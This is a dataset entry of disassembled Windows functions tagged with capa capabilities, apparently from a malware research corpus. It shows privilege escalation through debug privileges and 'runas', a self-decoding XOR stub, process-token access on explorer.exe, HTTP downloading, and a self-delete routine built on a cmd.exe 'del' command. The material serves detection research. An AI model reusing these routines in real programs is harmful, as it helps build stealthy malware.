joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d57
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x44b24f
call fcn.00438162
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x405d7c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x405dc2
lea ecx, [ebp - 0x10]
call fcn.0040391c
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040558b
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402511
mov eax, esi
call fcn.0043823a
ret 8

Function at 0x406acf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041d0a7
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x406b08
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00406720
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40dbc1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40dc08
call fcn.0041d0a7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40dc08
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40dc24
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040d73b
mov esi, eax
test edi, edi
je 0x40dc22
test ebx, ebx
je 0x40dc22
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x410f1a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.0041d0a7
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x410f47
xor eax, eax
jmp 0x410fed
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x410f40
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x410f40
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040249c
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x410f9e
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x410f8d
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.0040fbf5
push edi
mov ebx, eax
call fcn.004024cb
pop ecx
test ebx, ebx
je 0x410fe0
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.004102cd
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.00410381
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4

Function at 0x430181
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4301c9
call fcn.0041d0a7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4301c9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x43020c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4301f5
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4301f5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x430209
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x432bb9
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x44c0ba
call fcn.00438162
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00403f1e
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x432c1b
call fcn.0041c981
cmp eax, 1
jne 0x432c1b
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040522e
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00405187
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402511
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402511
mov eax, esi
call fcn.0043823a
ret 0x10

Function at 0x432c44
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x44c0ba
call fcn.00438162
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00403f1e
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x432ca6
call fcn.0041c981
cmp eax, 1
jne 0x432ca6
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040522e
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00405187
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402511
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402511
mov eax, esi
call fcn.0043823a
ret 0x14
Function at 0x4370af
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x463b10]
jne 0x4370b9
repz ret
jmp fcn.0043c08e

Function at 0x444848
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043c7da
and dword [ebp - 4], 0
cmp dword [0x467990], 0
mov ebx, eax
jne 0x4448f9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4449aa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4556f0
push edi
call esi
test eax, eax
je 0x4449aa
push eax
call fcn.0043c768
mov dword [esp], 0x4556e0
push edi
mov dword [0x467990], eax
call esi
push eax
call fcn.0043c768
mov dword [esp], 0x4556cc
push edi
mov dword [0x467994], eax
call esi
push eax
call fcn.0043c768
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x467998], eax
call esi
push eax
call fcn.0043c768
pop ecx
mov dword [0x4679a0], eax
test eax, eax
je 0x4448f9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043c768
pop ecx
mov dword [0x46799c], eax
mov eax, dword [0x46799c]
cmp eax, ebx
je 0x444951
cmp dword [0x4679a0], ebx
je 0x444951
push eax
call fcn.0043c7e3
push dword [0x4679a0]
mov esi, eax
call fcn.0043c7e3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x444951
test edi, edi
je 0x444951
call esi
test eax, eax
je 0x444948
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x444948
test byte [ebp - 0xc], 1
jne 0x444951
or dword [ebp + 0x10], 0x200000
jmp 0x44498a
mov eax, dword [0x467994]
cmp eax, ebx
je 0x44498a
push eax
call fcn.0043c7e3
pop ecx
test eax, eax
je 0x44498a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44498a
mov eax, dword [0x467998]
cmp eax, ebx
je 0x44498a
push eax
call fcn.0043c7e3
pop ecx
test eax, eax
je 0x44498a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x467990]
call fcn.0043c7e3
pop ecx
test eax, eax
je 0x4449aa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4449ac
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40107f
Capabilities:
Check mutex on windows

Disassembly:
push 8
mov eax, 0x434831
call fcn.0041f0ed
mov eax, dword [0x44f98c]
mov ecx, 0x44f98c
xor esi, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 0x10]
push str.c__s__s__s
call fcn.004015b8
mov edx, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x14]
call fcn.004172b0
add esp, 0x14
lea edi, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00401276
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401603
mov edi, dword [ebp - 0x10]
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x45092c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401105
cmp dword [0x45092c], esi
jne 0x401108
xor esi, esi
inc esi
lea eax, [edi - 0x10]
call fcn.00401603
mov eax, esi
call fcn.0041f1c5
ret

Function at 0x401633
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401655
xor eax, eax
jmp 0x4016b4
lea eax, [ebp - 0xc]
push eax
push 0x438b90
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x401675
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401651
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4016a9
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x4017c5
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x1008]
mov eax, 0x1008
call fcn.00430610
push 0xffffffffffffffff
push 0x43426a
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x449654]
xor eax, ebp
mov dword [ebp + 0x1004], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x1010]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1014]
mov edi, 0x44f98c
mov ecx, edi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
call fcn.004028d3
xor eax, eax
push eax
push eax
mov dword [ebp - 4], ebx
push eax
inc ebx
push ebx
push eax
mov dword [ebp - 0x28], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40194a
push 4
lea eax, [ebp - 0x2c]
push eax
push 0x41
push esi
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, dword [0x44f98c]
mov ecx, edi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.Accept_Encoding:_gzip__deflate_r_nConnection:_Close_r_n
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], ebx
call fcn.0040251a
push dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
push eax
call fcn.00402592
push dword [ebp - 0x24]
lea eax, [ebp - 0x10]
push eax
xor edi, edi
call fcn.004024a0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00402732
push str.https:__
push eax
mov byte [ebp - 4], 3
call fcn.004025b0
mov ebx, eax
mov eax, dword [ebp - 0x1c]
neg ebx
sbb bl, bl
add eax, 0xfffffff0
inc bl
call fcn.00401603
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401603
test bl, bl
je 0x4018de
mov edi, 0x803000
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx - 0xc]
push 0
or edi, 0x4000000
push edi
push eax
push ebx
push dword [ebp - 0x24]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
jne 0x401907
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401942
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push 0x1000
lea eax, [ebp]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax], 0
lea eax, [ebp]
push eax
push dword [ebp - 0x20]
call fcn.00402454
cmp dword [ebp - 0x10], 0
je 0x401942
cmp dword [ebp - 0x18], 0
jne 0x40190b
lea eax, [ebx - 0x10]
call fcn.00401603
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call edi
push esi
call edi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1004]
xor ecx, ebp
call fcn.0041cb1b
add ebp, 0x1008
leave
ret
Function at 0x402185
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push 8
mov eax, 0x434831
call fcn.0041f0ed
mov eax, dword [0x44f98c]
mov esi, 0x44f98c
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
xor edi, edi
mov dword [ebp - 4], edi
mov eax, dword [0x44f98c]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push pe_nt_image_headers32
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, 0x104
push eax
push eax
lea esi, [ebp - 0x10]
call fcn.00401365
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.0040277f
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
push str._c_timeout__t_1__del__Q__F___s_
call fcn.004015b8
pop ecx
pop ecx
push edi
push edi
push dword [ebp - 0x14]
push str.cmd.exe
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4023a2
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x402338
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0xc]
call fcn.00401a53
pop ecx
call fcn.00402185
int3

Function at 0x4038e7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4038fe
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x403933
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x40392f
cmp edi, eax
jae 0x403933
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x403921
cmp edi, eax
jb 0x403937
xor eax, eax
jmp 0x403940
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x403ffd
Capabilities:
Reference 114dns dns server
Reference alidns dns server

Disassembly:
push 0x44
mov eax, 0x434564
call fcn.0041f0ed
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ebx
mov esi, dword [ebp + 8]
mov edi, 0x44f98c
mov ecx, edi
call fcn.004028d3
push dword [ebp + 0xc]
xor esi, esi
lea eax, [ebp - 0x20]
mov dword [ebp - 4], ebx
inc esi
push eax
mov dword [ebp - 0x1c], esi
call fcn.004040d4
mov dword [ebp - 4], esi
mov dword [ebp - 0x28], str.114.114.114.114
mov dword [ebp - 0x24], str.223.5.5.5
xor esi, esi
mov eax, dword [0x44f98c]
mov ecx, edi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 2
push dword [ebp + esi*4 - 0x28]
lea eax, [ebp - 0x14]
push eax
call fcn.00404111
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x50]
push eax
mov edx, ebx
call fcn.00403c3e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
shr ecx, 2
test eax, eax
je 0x404092
test ecx, ecx
jg 0x4040a6
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 1
call fcn.00401603
inc esi
cmp esi, 2
jb 0x404048
jmp 0x4040c0
push dword [ebp - 0x50]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push dword [ebp + 8]
call fcn.00404111
lea eax, [ebx - 0x10]
call fcn.00401603
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
call fcn.00401603
mov eax, dword [ebp + 8]
call fcn.0041f1c5
ret
Function at 0x4067ac
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x1b0]
sub esp, 0x230
mov eax, dword [0x449654]
xor eax, ebp
mov dword [ebp + 0x1ac], eax
push esi
push edi
xor edi, edi
push 0x228
lea eax, [ebp - 0x7c]
push edi
push eax
mov dword [ebp - 0x80], edi
call fcn.0041e9c0
add esp, 0xc
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x406858
cmp esi, 0xffffffff
je 0x406858
lea eax, [ebp - 0x80]
push eax
push esi
mov dword [ebp - 0x80], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x40684d
lea eax, [ebp - 0x5c]
push str.EXPLORER.EXE
push eax
call fcn.0041d68d
pop ecx
pop ecx
test eax, eax
je 0x40682f
lea eax, [ebp - 0x80]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x406808
xor edi, edi
inc edi
jmp 0x40684d
push dword [ebp - 0x78]
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push ebx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x40685a
xor eax, eax
mov ecx, dword [ebp + 0x1ac]
pop edi
xor ecx, ebp
pop esi
call fcn.0041cb1b
add ebp, 0x1b0
leave
ret
Function at 0x406c5e
Capabilities:
Enumerate processes

Disassembly:
push ebp
sub esp, 0x22c
lea ebp, [esp - 4]
mov eax, dword [0x449654]
xor eax, ebp
mov dword [ebp + 0x22c], eax
push 0x14
mov eax, 0x434404
call fcn.0041f0ed
lea eax, [ebp - 0x1c]
xor esi, esi
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
push ecx
mov eax, esp
mov dword [ebp - 0x10], esp
push str.explorer.exe
push eax
call fcn.004024a0
call fcn.00406b78
pop ecx
mov dword [ebp - 0x14], eax
cmp eax, esi
jne 0x406e43
cmp dword [ebp - 0x1c], esi
je 0x406d81
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push 0x10000000
push esi
push esi
push str.Default
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_OpenDesktopW]
mov edi, dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp eax, esi
je 0x406cf5
push eax
call edi
mov ebx, dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [ebp - 0x10], esi
push esi
push 0x442e34
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x406d45
push esi
push 0x442e44
push esi
push eax
call ebx
cmp eax, esi
je 0x406d3e
push esi
push 0x442e68
push esi
push eax
call ebx
cmp eax, esi
je 0x406d37
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x406d50
push str._fsve
jmp 0x406d4a
push str._fsde
jmp 0x406d4a
push str._fpme
call fcn.004017a8
pop ecx
cmp dword [ebp - 0x14], 4
ja 0x406d6c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x12c
jl 0x406cfe
jmp 0x406d77
push str._fok
call fcn.004017a8
pop ecx
cmp dword [ebp - 0x18], esi
je 0x406d81
push dword [ebp - 0x18]
call edi
cmp dword [ebp - 0x14], esi
jne 0x406e43
push str._fer
call fcn.004017a8
pop ecx
mov dword [ebp - 0x10], esi
push esi
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, esi
je 0x406e25
lea eax, [ebp]
push eax
push edi
mov dword [ebp], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x406e1e
jmp 0x406e08
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp dword [ebp - 0x18], esi
je 0x406e08
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.004024a0
push str.explorer.exe
push eax
mov dword [ebp - 4], esi
call fcn.004025b0
mov ebx, eax
neg ebx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
inc bl
call fcn.00401603
test bl, bl
jne 0x406e18
lea eax, [ebp]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x406dbd
jmp 0x406e1e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 4
ja 0x406e43
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x12c
jl 0x406d98
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x22c]
xor ecx, ebp
call fcn.0041cb1b
add ebp, 0x230
leave
ret
Function at 0x406f79
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x449654]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x406fe1
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x406fd5
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0041cb1b
leave
ret

Function at 0x406ff1
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1d4]
sub esp, 0x254
mov eax, dword [0x449654]
xor eax, ebp
mov dword [ebp + 0x1d0], eax
push ebx
push esi
push edi
xor ebx, ebx
lea edi, [ebp - 0x44]
lea esi, [ebp - 0x40]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], ebx
call fcn.00406ef9
test eax, eax
je 0x407095
cmp dword [ebp - 0x40], 6
jbe 0x407095
call fcn.00406f79
test eax, eax
jne 0x407095
push 0x208
mov word [ebp - 0x3c], ax
lea eax, [ebp - 0x3a]
push ebx
push eax
call fcn.0041e9c0
add esp, 0xc
lea eax, [ebp - 0x3c]
push 0x104
push eax
call fcn.0040d709
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x38
lea eax, [ebp - 0x7c]
push ebx
push eax
mov dword [ebp - 0x80], 0x3c
call fcn.0041e9c0
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x70], eax
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x74], str.runas
mov dword [ebp - 0x64], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x407095
inc ebx
mov ecx, dword [ebp + 0x1d0]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0041cb1b
add ebp, 0x1d4
leave
ret